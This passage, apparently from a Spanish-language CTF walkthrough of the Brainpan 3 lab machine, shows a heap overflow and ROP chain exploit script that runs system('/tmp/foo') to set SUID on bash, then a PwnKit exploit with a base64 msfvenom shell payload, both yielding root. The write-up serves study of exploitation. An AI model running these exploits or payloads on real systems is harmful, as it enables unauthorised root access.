0x804c398	0x41414141	0x41414141	AAAAAAAA
0x804c3a0	0x00004141	0x000000d1	AA......
0x804c3a8	0x42424242	0x42424242	BBBBBBBB
0x804c3b0	0x42424242	0x42424242	BBBBBBBB
0x804c3b8	0x42424242	0x42424242	BBBBBBBB
0x804c3c0	0x42424242	0x42424242	BBBBBBBB
0x804c3c8	0x42424242	0x42424242	BBBBBBBB
0x804c3d0	0x42424242	0x42424242	BBBBBBBB
0x804c3d8	0x42424242	0x42424242	BBBBBBBB
0x804c3e0	0x42424242	0x42424242	BBBBBBBB
0x804c3e8	0x42424242	0x42424242	BBBBBBBB
0x804c3f0	0x42424242	0x42424242	BBBBBBBB
0x804c3f8	0x42424242	0x42424242	BBBBBBBB
0x804c400	0x42424242	0x42424242	BBBBBBBB
0x804c408	0x42424242	0x42424242	BBBBBBBB
0x804c410	0x42424242	0x42424242	BBBBBBBB
0x804c418	0x42424242	0x42424242	BBBBBBBB
0x804c420	0x42424242	0x42424242	BBBBBBBB
0x804c428	0x42424242	0x42424242	BBBBBBBB
0x804c430	0x42424242	0x42424242	BBBBBBBB
0x804c438	0x42424242	0x42424242	BBBBBBBB
0x804c440	0x42424242	0x42424242	BBBBBBBB
0x804c448	0x42424242	0x42424242	BBBBBBBB
0x804c450	0x42424242	0x42424242	BBBBBBBB
0x804c458	0x42424242	0x42424242	BBBBBBBB
0x804c460	0x42424242	0x42424242	BBBBBBBB
0x804c468	0x42424242	0x42424242	BBBBBBBB
0x804c470	0x00000000	0x00000011	........
0x804c478	0x00000001	0x0804c488	........
0x804c480	0x0804c498	0x00000011	........
0x804c488	0x43434343	0x43434343	CCCCCCCC
0x804c490	0x00004343	0x000000d1	CC......
0x804c498	0x44444444	0x44444444	DDDDDDDD
0x804c4a0	0x44444444	0x44444444	DDDDDDDD
0x804c4a8	0x44444444	0x44444444	DDDDDDDD
0x804c4b0	0x44444444	0x44444444	DDDDDDDD
0x804c4b8	0x44444444	0x44444444	DDDDDDDD
0x804c4c0	0x44444444	0x44444444	DDDDDDDD
0x804c4c8	0x44444444	0x44444444	DDDDDDDD
0x804c4d0	0x44444444	0x44444444	DDDDDDDD
0x804c4d8	0x44444444	0x44444444	DDDDDDDD
0x804c4e0	0x44444444	0x44444444	DDDDDDDD
0x804c4e8	0x44444444	0x44444444	DDDDDDDD
0x804c4f0	0x44444444	0x44444444	DDDDDDDD
0x804c4f8	0x44444444	0x44444444	DDDDDDDD
0x804c500	0x44444444	0x44444444	DDDDDDDD
0x804c508	0x44444444	0x44444444	DDDDDDDD
0x804c510	0x44444444	0x44444444	DDDDDDDD
0x804c518	0x44444444	0x44444444	DDDDDDDD
0x804c520	0x44444444	0x44444444	DDDDDDDD
0x804c528	0x44444444	0x44444444	DDDDDDDD
0x804c530	0x44444444	0x44444444	DDDDDDDD
0x804c538	0x44444444	0x44444444	DDDDDDDD
0x804c540	0x44444444	0x44444444	DDDDDDDD
0x804c548	0x44444444	0x44444444	DDDDDDDD
0x804c550	0x44444444	0x44444444	DDDDDDDD
0x804c558	0x44444444	0x44444444	DDDDDDDD
0x804c560	0x00000000
pwndbg>

Antes de sobreescribir el puntero en 0x804c47c tenemos que rellenar 3 dwords por lo que añadiremos 12 B's y despues de ello sobreescribimos el puntero con 4 C's

#!/usr/bin/python3

payload  = b""
payload += b"A" * 10
payload += b"|"
payload += b"B" * 212
payload += b"C" * 4
payload += b"\n"

payload += b"D" * 10
payload += b"|"
payload += b"E" * 200
payload += b"\n"

with open("exploit.msg", "wb") as file:
    file.write(payload)

❯ python3 exploit.py

Si corremos el programa con el nuevo msg en el heap ahora la direccion 0x804c47c donde estaba el puntero vale C's, pero el chunk es gigante incluso sobrepasando el top chunk y esto es porque sobrescribimos el dword del tamaño con 0x42424242

❯ gdb -q msg_admin
Reading symbols from msg_admin...
(No debugging symbols found in msg_admin)
pwndbg> run 1 exploit.msg
Starting program: /home/kali/msg_admin 1 exploit.msg
[+] Recording 2 entries

Program received signal SIGSEGV, Segmentation fault.
0xf7eaa0f7 in ?? () from ./libc.so.6
pwndbg> vis 3 0x804c390
0x804c390	0x0804c3a8	0x00000011	........
0x804c398	0x41414141	0x41414141	AAAAAAAA
0x804c3a0	0x00004141	0x000000d1	AA......
0x804c3a8	0x42424242	0x42424242	BBBBBBBB
0x804c3b0	0x42424242	0x42424242	BBBBBBBB
0x804c3b8	0x42424242	0x42424242	BBBBBBBB
0x804c3c0	0x42424242	0x42424242	BBBBBBBB
0x804c3c8	0x42424242	0x42424242	BBBBBBBB
0x804c3d0	0x42424242	0x42424242	BBBBBBBB
0x804c3d8	0x42424242	0x42424242	BBBBBBBB
0x804c3e0	0x42424242	0x42424242	BBBBBBBB
0x804c3e8	0x42424242	0x42424242	BBBBBBBB
0x804c3f0	0x42424242	0x42424242	BBBBBBBB
0x804c3f8	0x42424242	0x42424242	BBBBBBBB
0x804c400	0x42424242	0x42424242	BBBBBBBB
0x804c408	0x42424242	0x42424242	BBBBBBBB
0x804c410	0x42424242	0x42424242	BBBBBBBB
0x804c418	0x42424242	0x42424242	BBBBBBBB
0x804c420	0x42424242	0x42424242	BBBBBBBB
0x804c428	0x42424242	0x42424242	BBBBBBBB
0x804c430	0x42424242	0x42424242	BBBBBBBB
0x804c438	0x42424242	0x42424242	BBBBBBBB
0x804c440	0x42424242	0x42424242	BBBBBBBB
0x804c448	0x42424242	0x42424242	BBBBBBBB
0x804c450	0x42424242	0x42424242	BBBBBBBB
0x804c458	0x42424242	0x42424242	BBBBBBBB
0x804c460	0x42424242	0x42424242	BBBBBBBB
0x804c468	0x42424242	0x42424242	BBBBBBBB
0x804c470	0x42424242	0x42424242	BBBBBBBB
0x804c478	0x42424242	0x43434343	BBBBCCCC
0x804c480	0x0804c400	0x00000011	........
0x804c488	0x00000000	0x00000000	........
0x804c490	0x00000000	0x000000d1	........
0x804c498	0x00000000	0x00000000	........
0x804c4a0	0x00000000	0x00000000	........
0x804c4a8	0x00000000	0x00000000	........
0x804c4b0	0x00000000	0x00000000	........
0x804c4b8	0x00000000	0x00000000	........
0x804c4c0	0x00000000	0x00000000	........
0x804c4c8	0x00000000	0x00000000	........
0x804c4d0	0x00000000	0x00000000	........
0x804c4d8	0x00000000	0x00000000	........
0x804c4e0	0x00000000	0x00000000	........
0x804c4e8	0x00000000	0x00000000	........
0x804c4f0	0x00000000	0x00000000	........
0x804c4f8	0x00000000	0x00000000	........
0x804c500	0x00000000	0x00000000	........
0x804c508	0x00000000	0x00000000	........
0x804c510	0x00000000	0x00000000	........
0x804c518	0x00000000	0x00000000	........
0x804c520	0x00000000	0x00000000	........
0x804c528	0x00000000	0x00000000	........
0x804c530	0x00000000	0x00000000	........
0x804c538	0x00000000	0x00000000	........
0x804c540	0x00000000	0x00000000	........
0x804c548	0x00000000	0x00000000	........
0x804c550	0x00000000	0x00000000	........
0x804c558	0x00000000	0x00000000	........
0x804c560	0x00000000	0x00020aa1	........	 <-- Top chunk  
0x804c568	0x00000000	0x00000000	........
0x804c570	0x00000000	0x00000000	........
0x804c578	0x00000000	0x00000000	........

Para lo siguiente necesitaremos obtener la direccion got de la funcion strtok ya que si enviamos esta direccion en lugar del puntero nos llevara a las C's

pwndbg> got -r strtok
Filtering by symbol name: strtok

State of the GOT of /home/kali/msg_admin:
GOT protection: Partial RELRO | Found 1 GOT entries passing the filter
[0x804b05c] strtok@GLIBC_2.0 -> 0xf7ea1970 (strtok) —▸ 0xffeae853 ◂— 0xffeae853  
pwndbg>

Esta vez en las B's enviaremos 212 bytes de basura y en el inicio del puntero la direccion del got de strtok, podemos usar p32 de pwntools para no complicarnos

#!/usr/bin/python3
from pwn import p32

payload  = b""
payload += b"A" * 10
payload += b"|"
payload += b"B" * 212
payload += p32(0x804b05c)
payload += b"\n"

payload += b"C" * 10
payload += b"|"
payload += b"D" * 200
payload += b"\n"

with open("exploit.msg", "wb") as file:
    file.write(payload)

❯ python3 exploit.py

Corremos el programa en gdb con el nuevo exploit.msg como segundo argumento, lo que conseguimos con lo anterior es que en el EIP quede 0x43434343 que equivale a CCCC osea la primera parte de la segunda linea del archivo msg

❯ gdb -q msg_admin
Reading symbols from msg_admin...
(No debugging symbols found in msg_admin)
pwndbg> run 1 exploit.msg
Starting program: /home/kali/msg_admin 1 exploit.msg  
[+] Recording 2 entries

Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
pwndbg>

Ya que no tenemos un leak de libc tendremos que buscar otra forma de llegar a system, para ello creamos un pequeño script que busque posibles funciones dentro del propio binario y su diferencia con la funcion system de libc

#!/usr/bin/python3
from pwn import *

elf = ELF('./msg_admin', checksec=False)
libc = ELF('./libc.so.6', checksec=False)

for symbol in elf.symbols.keys():
    try:
        if libc.symbols[symbol] < libc.symbols['system']:
            log.info(f"{symbol}: {hex(libc.symbols['system'] - libc.symbols[symbol])}")  
    except:
        pass

La funcion mas cercana a system es atol la cual tiene de diferencia solo 0xe900

❯ python3 exploit.py
[*] plt.malloc: 0x28e10
[*] __libc_start_main: 0x26800  
[*] atol: 0xe900

Usaremos la funcion atol como base asi que primero tomaremos su direccion got

pwndbg> got -r atol
Filtering by symbol name: atol

State of the GOT of /home/kali/msg_admin:
GOT protection: Partial RELRO | Found 1 GOT entries passing the filter  
[0x804b04c] atol@GLIBC_2.0 -> 0x80486b6 (atol@plt+6) ◂— push 0x80
pwndbg>

Para la diferencia podemos buscar direcciones para 0xe800 y 0x100 que sumados suman 0xe900 lo cual equivale a que sumandole atol tendriamos un posible system

pwndbg> search 0xe800 msg_admin -t dword
Searching for value: b'\x00\xe8\x00\x00'
msg_admin       0x80480c7 add al, ch
pwndbg> search 0x100 msg_admin -t dword
Searching for value: b'\x00\x01\x00\x00'
msg_admin       0x8048013 add byte ptr [ecx], al  
msg_admin       0x804806f add byte ptr [ecx], al  
msg_admin       0x8048073 add byte ptr [ecx], al  
msg_admin       0x8048093 add byte ptr [ecx], al  
msg_admin       0x804814f add byte ptr [ecx], al  
msg_admin       0x804816f add byte ptr [ecx], al  
msg_admin       0x80481b3 add byte ptr [ecx], al  
msg_admin       0x8048477 add byte ptr [ecx], al  
msg_admin       0x804847f add byte ptr [ecx], al  
msg_admin       0x8049f13 add byte ptr [ecx], al  
msg_admin       0x8049f17 add byte ptr [ecx], al  
msg_admin       0x804af13 0x100
msg_admin       0x804af17 0x100
pwndbg>

Ahora necesitamos un archivo el cual ejecutar con system, encontramos una direccion hacia /tmp/foo que usaremos para ejecutar system("/tmp/foo")

pwndbg> search /tmp/foo
Searching for value: '/tmp/foo'
msg_admin       0x8048eef das  /* '/tmp/foo' */
pwndbg>

Usando ropper podemos encontrar un par de gadgets que llamaran a EAX

❯ ropper --file msg_admin --jmp eax  

JMP Instructions
================

0x08048786: call eax;
0x0804880f: call eax;

2 gadgets found

Tambien necesitaremos limpiar EAX, en la funcion llamada register_tm_clones encontramos un par de instrucciones que nos ayudaran a limiar el registro EAX

pwndbg> x/2i register_tm_clones
   0x8048790 <register_tm_clones>:	mov    eax,0x804b074
   0x8048795 <register_tm_clones+5>:	sub    eax,0x804b074
pwndbg>

Con ropper podemos buscar un gadget que nos ejecute un add eax, encontramos uno que ejecuta add eax, dword ptr [ebx + 0x1270304]; ret; que nos servira

❯ ropper --file msg_admin --search "add eax"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: add eax

[INFO] File: msg_admin
0x080489ba: add eax, 0x14; je 0x9c6; call 0x600; leave; ret;
0x08048aa7: add eax, 0x14; je 0xab3; call 0x600; leave; ret;
0x08048aad: add eax, 0xfffb4de8; dec ecx; ret;
0x080489c0: add eax, 0xfffc3ae8; dec ecx; ret;
0x08048942: add eax, 0xfffcb8e8; inc dword ptr [ebx + 0x5f5b80ec]; pop ebp; ret;  
0x08048feb: add eax, dword ptr [ebx + 0x1270304]; ret;
0x080487a2: add eax, edx; sar eax, 1; jne 0x7a9; ret;

Sin embargo para usarlo tambien necesitaremos otro gadget que ejecute un pop ebx

❯ ropper --file msg_admin --search "pop ebx; ret;"  
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop ebx; ret;

[INFO] File: msg_admin
0x0804859d: pop ebx; ret;

El ultimo gadget que necesitaremos sera uno que ejecute un stack pivot para terminar con el ret, este lo usaremos como puntero en el inicio de la segunda linea

❯ ropper --file msg_admin --stack-pivot
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%

Gadgets
=======

0x08048ddc: pop ebx; pop esi; pop edi; pop ebp; ret;  
0x0804859a: add esp, 8; pop ebx; ret; 
0x08048c5e: ret 0;
0x08048c09: ret 0x458b;
0x08048a33: ret 0x8941;
0x080488e4: ret 0xb8;
0x0804879e: ret 0xeac1;

Iniciemos con el exploit, como en la maquina no tenemos pwntools definiremos la funcion p32 haciendo uso de la libreria struct para convertir la direccion

p32 = lambda addr: struct.pack("I", addr)  

Lo siguiente sera una funcion que nos haga el add, enviando a ebx la direccion menos 0x1270304 para asi compensar las instrucciones del gadget encontrado antes

def add(addr):
    result  = b""
    result += p32(0x0804859d)
    result += p32(addr - 0x1270304)
    result += p32(0x08048feb)
    return result

Nuestra cadena rop simplemente limpiara eax, y con atol sumando la diferencia conseguiremos system que como argumento tendra la direccion de /tmp/foo

rop  = b""
rop += p32(eax_0)
rop += add(got_atol)
rop += add(diff_e800) + add(diff_100)
rop += p32(call_eax)
rop += p32(tmp_foo)

La variable shellcode sera el segundo argumento de la primera linea, asi que despues de rop rellenaremos con A's hasta los 212 bytes, despues enviaremos el got de la funcion strtok que dejara en EIP el primer argumento de la segunda linea

shellcode  = b""
shellcode += rop
shellcode += b"A" * (offset - len(shellcode))
shellcode += p32(got_strtok)

La primer linea de muestro .msg seran 4 A's en el primer argumento y el shellcode en el segundo, en la segunda linea sera el pop4_ret que quedara en el EIP

payload  = b""
payload += b"A" * 10
payload += b"|"
payload += shellcode
payload += b"\n"

payload += p32(pop4_ret)
payload += b"|"
payload += b"A" * 10
payload += b"\n"

Como lo que haremos sera un system("/tmp/foo") en ese archivo escribiremos un comando que en caso de ejecutarse como root otorgara privilegios suid a la bash

command = b"chmod u+s /bin/bash"

with open("/tmp/foo", "wb") as file:
    file.write(command)

os.chmod("/tmp/foo", 0o755)

Resumiendo, nuestro payload para ejecutar el system sera el segundo argumento de la primera linea, rellenaremos y en el puntero enviaremos strtok para que como puntero quede el primer argumento de la segunda linea, este sera el pop4_ret que volvera a nuestro payload y ejecutara /tmp/foo que dara suid a la bash

El script final para explotar la tarea cron seria el siguiente, este creara los archivos exploit.msg y /tmp/foo que seran ejecutados al ejecutarse la tarea que vimos

#!/usr/bin/python3
import struct, os

p32 = lambda addr: struct.pack("I", addr)

def add(addr):
    result  = b""
    result += p32(0x0804859d)
    result += p32(addr - 0x1270304)
    result += p32(0x08048feb)
    return result

offset = 212

pop4_ret = 0x08048ddc

eax_0 = 0x8048790
call_eax = 0x8048786

got_strtok = 0x804b05c
got_atol = 0x804b04c
tmp_foo = 0x8048eef

diff_e800 = 0x80480c7
diff_100 = 0x8048013

rop  = b""
rop += p32(eax_0)
rop += add(got_atol)
rop += add(diff_e800) + add(diff_100)
rop += p32(call_eax)
rop += p32(tmp_foo)

shellcode  = b""
shellcode += rop
shellcode += b"A" * (offset - len(shellcode))
shellcode += p32(got_strtok)

payload  = b""
payload += b"A" * 10
payload += b"|"
payload += shellcode
payload += b"\n"

payload += p32(pop4_ret)
payload += b"|"
payload += b"A" * 10
payload += b"\n"

with open("/opt/.messenger/exploit.msg", "wb") as file:
    file.write(payload)

command = b"chmod u+s /bin/bash"

with open("/tmp/foo", "wb") as file:
    file.write(command)

os.chmod("/tmp/foo", 0o755)

Ejecutamos el script como puck y pasados unos minutos interpreta nuestro payload y la bash se vuelve suid, ahora simplemente ejecutamos bash -p y somos root

puck@brainpan3:~$ python3 exploit.py
puck@brainpan3:~$ ls -l /bin/bash
-rwxr-xr-x 1 root root 986672 Oct  7  2014 /bin/bash
puck@brainpan3:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 986672 Oct  7  2014 /bin/bash  
puck@brainpan3:~$ bash -p
bash-4.3# id
uid=0(root) gid=0(root) groups=0(root)
bash-4.3# hostname -I
192.168.100.64
bash-4.3#

En /root encontramos un archivo .gz que al descomprimirlo nos da la flag final

root@brainpan3:~# ls
brainpan.8.gz
root@brainpan3:~# gzip -d brainpan.8.gz 
root@brainpan3:~# cat brainpan.8 
.TH man 8 "20 May 2015" "3.0" "brainpan 3"

.SH DESCRIPTION
Congratulations, you win! Thanks for playing!

.SH FLAG
.B
flag{tricksy-hobbitses-use-unix}

.SH BUGS
You found them all. 

.SH AUTHOR
superkojiman - 
.B
http://blog.techorganic.com

.SH TESTERS
Special thanks go to barrebas and Swappage taking the time to test Brainpan 3!  
.br
barrebas - 
.B
https://twitter.com/barrebas
.br
Swappage - 
.B
https://twitter.com/Swappage
root@brainpan3:~#


Extra - root


Antes cuando buscamos por binarios suid veiamos que el binario pkexec lo era

anansi@brainpan3:~$ ls -l /usr/bin/pkexec
-rwsr-xr-x 1 root root 18168 Feb 11  2014 /usr/bin/pkexec  
anansi@brainpan3:~$

Sin embargo al ejecutar un exploit del pwnkit, nos devuelve un error, esto es debido a que el payload del exploit es de arquitectura x64 y el sistema aqui es x86

anansi@brainpan3:~$ python3 CVE-2021-4034.py
[+] Creating shared library for exploit code.
[+] Calling execve()
GLib: Cannot convert message: Conversion from character set 'UTF-8' to 'ANSI_X3.4-1968' is not supported  
The value for environment variable XAUTHORITY contains suscipious content

This incident has been reported.
anansi@brainpan3:~$

Con msfvenom podemos crear un payload en x86 que nos ejecute una /bin/bash, la data en base64 la modificaremos en el exploit en la variable payload

❯ msfvenom -p linux/x86/exec CMD=/bin/bash -f elf-so PrependSetuid=true | base64
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload  
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 52 bytes
Final size of elf-so file: 298 bytes

f0VMRgEBAQAAAAAAAAAAAAMAAwABAAAA9gAAADQAAAB0AAAAAAAAADQAIAACACgAAgABAAEAAAAA
AAAAAAAAAAAAAAAqAQAAXgEAAAcAAAAAEAAAAgAAAAcAAADEAAAAxAAAAMQAAAAwAAAAMAAAAAAQ
AAABAAAABgAAAAAAAADEAAAAxAAAADAAAAAAAAAAAAAAAAgAAAAHAAAAAAAAAAMAAAAAAAAA9AAA
APQAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAD2AAAABQAAAPQAAAAGAAAA9AAAAAoAAAAAAAAA
CwAAAAAAAAAAAAAAAAAAAAAAMdtqF1jNgGoLWJlSZmgtY4nnaC9zaABoL2JpbonjUugKAAAAL2Jp
bi9iYXNoAFdTieHNgA==

Nuevamente ejecutamos el exploit y nos devuelve una bash como el usuario root

anansi@brainpan3:~$ python3 CVE-2021-4034.py
[+] Creating shared library for exploit code.  
[+] Calling execve()
root@brainpan3:~# id
uid=0(root) gid=0(root) groups=0(root)
root@brainpan3:~# hostname -I
192.168.100.64 
root@brainpan3:~#